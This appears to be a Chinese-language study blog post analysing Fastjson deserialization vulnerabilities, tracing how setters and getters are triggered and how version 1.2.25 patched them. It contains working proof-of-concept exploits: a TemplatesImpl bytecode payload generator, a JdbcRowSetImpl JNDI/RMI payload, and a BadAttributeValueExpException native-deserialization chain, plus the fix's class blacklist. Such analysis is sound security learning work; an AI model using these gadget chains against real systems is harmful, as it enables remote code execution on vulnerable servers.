FastJson序列化与反序列化

LNY_Sage-6_WrapUp

前言

Quick Start CN · alibaba/fastjson Wiki (github.com)

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

FASTJSON 2.0介绍 | fastjson2 (alibaba.github.io)

FASTJSON 2.0支持JSON/JSONB两种协议并且性能相较于一代有所提高。但是不能做到完全兼容。

依赖添加和基础使用以及为何触发Getter/Setter方法

先看一个Demo来了解一下FastJson反序列化漏洞的触发点。

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import java.io.IOException;

public class User {
private String firstName;
private String lastName;
private int age;

public User(){

}
public User(String firstName, String lastName, int age) {
this.firstName = firstName;
this.lastName = lastName;
this.age = age;
}

public String getFirstName() {
return firstName;
}

public void setFirstName(String firstName) {
this.firstName = firstName;
}

public String getLastName() {
return lastName;
}

public void setLastName(String lastName) {
this.lastName = lastName;
}

public int getAge() {
return age;
}

public void setAge(int age) throws IOException{
this.age = age;
Runtime.getRuntime().exec("Calc");
}

}

在Age的setter方法中加入了执行命令的代码。

Test类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
public static void main(String[] args){
/*反序列化*/
/* String str = "{\"@type\":\"User\",\"age\":20,\"firstName\":\"Atlant1c\",\"lastName\":\"nb\"}";*/
/* String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/z9yvgu\", \"autoCommit\":true}";
JSONObject jsonObject = JSONObject.parseObject(str);
System.out.println(jsonObject instanceof JSONObject);*/

/* Object Object = JSONObject.parse(str);
System.out.println(Object instanceof User);*/

/*序列化*/
User user = new User("nb","Atlant1c",20);
String jsonstring = JSON.toJSONString(user);
System.out.println(jsonstring);
}
}

注意Test类使用@type标签指定了将JSON内容反序列化成User对象/Json对象,并且会调用这个类的setter方法。FastJson反序列化漏洞的关键就是这个

反序列化又下面两种形式都可以。前者是反序列化成json对象,后者反序列化成User对象。

image-20240509155503150

把如果放入getter方法中只有反序列化生成JSON对象才会弹计算器了。

setter 更新变量的值,而 getter 读取变量的值。

然后在序列化生成json字符串的时候会调用getter方法

image-20240510133058519

接下来debug一下来逐一分析

反序列化

先看看反序列化是如何触发setter方法的

直接在User的setAge方法的Runtime.getRuntime().exec("Calc");打上断点即可得到调用堆栈

1
2
3
4
5
6
7
8
9
setAge:40, User
deserialze:-1, FastjsonASMDeserializer_1_User (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:9, Test

重点看到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)方法,根据传入的json格式的字符串获取到key,然后再获取到User类

image-20240509174909472

然后这里通过ASM生成User对象,然后在生成对象的时候调用了getter方法

ASM是一个能够不通过.java文件而直接修改.class文件的字节码操控框架。
Fastjson之所以速度快,原因之一是它使用了ASM。按照通常思路,反序列化应该是反射调用set方法进行属性设置。 这种方法是最简单的,但也是最低效的。而Fastjson使用ASM自己编写字节码,然后通过ClassLoader将字节码加载成类,避免了反射开销,大大增强了性能。

image-20240509175514157

重新在com.alibaba.fastjson.util.JavaBeanInfo#build方法打一个断点进行调试。

获取到全部方法,并且下面的代码会判断是否为getter和setter方法,将这些方法添加到字段信息列表中

image-20240510140939092

然后调用这些setter方法将值设置进去,因为是ASM动态生成的字节码,所以没法进去调试。

那为什么生成JSON对象会调用getter方法呢?接下来接着看。

其实在com.alibaba.fastjson.JSON#parseObject(java.lang.String)方法中可以看到parseObject就是实现了parse方法后又去调用了com.alibaba.fastjson.JSON#toJSON(java.lang.Object)方法

image-20240510143445189

最后在com.alibaba.fastjson.serializer.JavaBeanSerializer#getFieldValuesMap方法循环调用了getter方法

image-20240510143805064

小结一下,setter方法的调用是在给对象设置值的时候调用的,这个对象是ASM生成的。而getter方法是将User类对象转换为JSON对象的时候需要将对象put到Map里面的时候调用了。

parse(String text) parseObject(String text) parseObject(String text, Class clazz)
Setter调用情况 全部 全部 全部
Getter调用情况 部分 部分 全部
ps:再调用定义private Properties方法的时候才会调getter。

此外,如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数。(在下文中,为TemplatesImpl类中无setter方法的私有变量_tfactory以及_name赋值运用到的就是这个知识点)

序列化

接下来来看序列化哪里调用了getter方法。

com.alibaba.fastjson.JSON#toJSONString(java.lang.Object, com.alibaba.fastjson.serializer.SerializeConfig, com.alibaba.fastjson.serializer.SerializeFilter[], java.lang.String, int, com.alibaba.fastjson.serializer.SerializerFeature...)方法通过com.alibaba.fastjson.serializer.JSONSerializer#write(java.lang.Object)方法去提取对象中的属性。

image-20240510150043860

然后调用到ASM生成的ASMSerializer_1_User (com.alibaba.fastjson.serializer)方法的write。可以看到所有getter方法。

image-20240510150739681

调用getter方法来读取变量的值。

接下来再简单看看如何获取到getter方法吧。

com.alibaba.fastjson.util.FieldInfo#FieldInfo(java.lang.String, java.lang.reflect.Method, java.lang.reflect.Field, java.lang.Class<?>, java.lang.reflect.Type, int, int, int, com.alibaba.fastjson.annotation.JSONField, com.alibaba.fastjson.annotation.JSONField, java.lang.String)打上断点看一下调用堆栈。

1
2
3
4
5
6
7
8
9
10
11
12
<init>:102, FieldInfo (com.alibaba.fastjson.util)
computeGetters:1264, TypeUtils (com.alibaba.fastjson.util)
buildBeanInfo:1064, TypeUtils (com.alibaba.fastjson.util)
createJavaBeanSerializer:121, SerializeConfig (com.alibaba.fastjson.serializer)
getObjectWriter:580, SerializeConfig (com.alibaba.fastjson.serializer)
getObjectWriter:355, SerializeConfig (com.alibaba.fastjson.serializer)
getObjectWriter:329, JSONSerializer (com.alibaba.fastjson.serializer)
write:272, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:637, JSON (com.alibaba.fastjson)
toJSONString:579, JSON (com.alibaba.fastjson)
toJSONString:544, JSON (com.alibaba.fastjson)
main:18, Test

利用链

经过上面的分析,想必已经明白如果是反序列化我们现在需要寻找getter方法或者setter方法的利用链来进行执行命令。可以想到的有

  • TemplatesImpl#getOutputProperties
  • JdbcRowsetImpl#getDatabaseMetaData

或者直接通过Java反序列化触发toString接上去toJSONString。

第一个不能利用,因为getter的调用是一个一个来的,如果中途报错,流程就会中断。很不幸这个getOutputProperties方法在错误的方法后面。所以无法被调用了。或者不符合要求也不会执行。

反序列化

影响版本:1.2.22-1.2.24

TemplatesImpl

Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

这个使用比较苛刻,具体体现在:

两种反序列化都需要在入口有参数

  • parse(String,Feature.SupportNonPublicField)
  • JSONObject.parseObject(str, Feature.SupportNonPublicField)

因为使用TemplatesImpl需要设置多个属性值,如果某属性不存在set方法,但还想设置值时,需要开启Feature.SupportNonPublicField参数

他妈的为什么这个parse能调用getter方法,给老子想尼玛半天都没搞明白

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package exp;

import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class TemplatesImplEXP {
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}

public static void main(String[] args) throws Exception {
byte[] bytecode = getTemplates();
String encoded = Base64.getEncoder().encodeToString(bytecode);
String poc = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"%s\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
System.out.println(String.format(poc, encoded));
}
}

生成payload

image-20240511134750167

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
<clinit>:-1, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
main:17, Test

重点看到com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

image-20240511135037440

可以看到getter方法是从fildInfo对象获取的,然后通过反射执行。findinfo是由com.alibaba.fastjson.util.JavaBeanInfo#build新建的,之前分析过会把getter方法和setter方法放进去。

好吧,,,,,,,原来有这么多判断,所以会根据类型来判断后续的操作,就是正好前面的判断都不满足,又正好public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl对象的getOutputProperties()方法的正式返回类型又为Map,所以可以执行判断语句内的语句,进而执行了里面的反射执行了方法。

所以只会调用部分getter方法。

JdbcRowSetImpl#setDataSourceName

直接用工具起一个恶意的rmi服务

poc

1
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/3u7jww\", \"autoCommit\":true}";

注意这里autoCommit一定要设置ture/false。

image-20240510224826784

重点看到com.sun.rowset.JdbcRowSetImpl#setAutoCommit方法,先判断有没有值然后再调用了com.sun.rowset.JdbcRowSetImpl#connect方法。

image-20240510223709479

这个com.sun.rowset.JdbcRowSetImpl#connect方法lookup我们传入的那个RMI协议的地址和端口,就加载了远程代码。

image-20240510223807296

序列化

这里的序列化指的是JSON对象,是指利用toJSONString来触发getter方法。演示直接暴力一点,用JDK的反序列化作为入口来触发这个。

fastjson1

利用条件<=1.2.24

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package exp;
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class STI1 {
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
byte[][] bytes = new byte[][]{getTemplates()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "Atlant1c");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val,"val",jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

调用堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
<clinit>:-1, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:126, ListSerializer (com.alibaba.fastjson.serializer)
write:275, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:799, JSON (com.alibaba.fastjson)
toString:793, JSON (com.alibaba.fastjson)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:47, STI1 (exp)

就是让javax.management.BadAttributeValueExpException#readObject调用toJSONString方法

image-20240511145708546

fastjson2

利用条件<=2.0.26

一样可以的。把包改成fastjson2。

image-20240511150201645

后记

注意几个点啊,JNDI在高版本JDK就不能使用了。

来看看如何修复的。

把版本切换成1.2.25

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这篇作为学习FastJson的开始,后续再继续学习。

参考

Fastjson 1.2.22-1.2.24反序列化漏洞分析 - 先知社区 (aliyun.com)

FastJson与原生反序列化 (y4tacker.github.io)

FastJson与原生反序列化(二) (y4tacker.github.io)

Fastjson不出网利用总结 - 先知社区 (aliyun.com)

[18 模块系统:怎么模块化你的应用程序? (lianglianglee.com)](https://learn.lianglianglee.com/专栏/深入剖析Java新特性/18 模块系统:怎么模块化你的应用程序?.md)

利用特殊反序列化组件攻击原生反序列化入口 - 先知社区 (aliyun.com)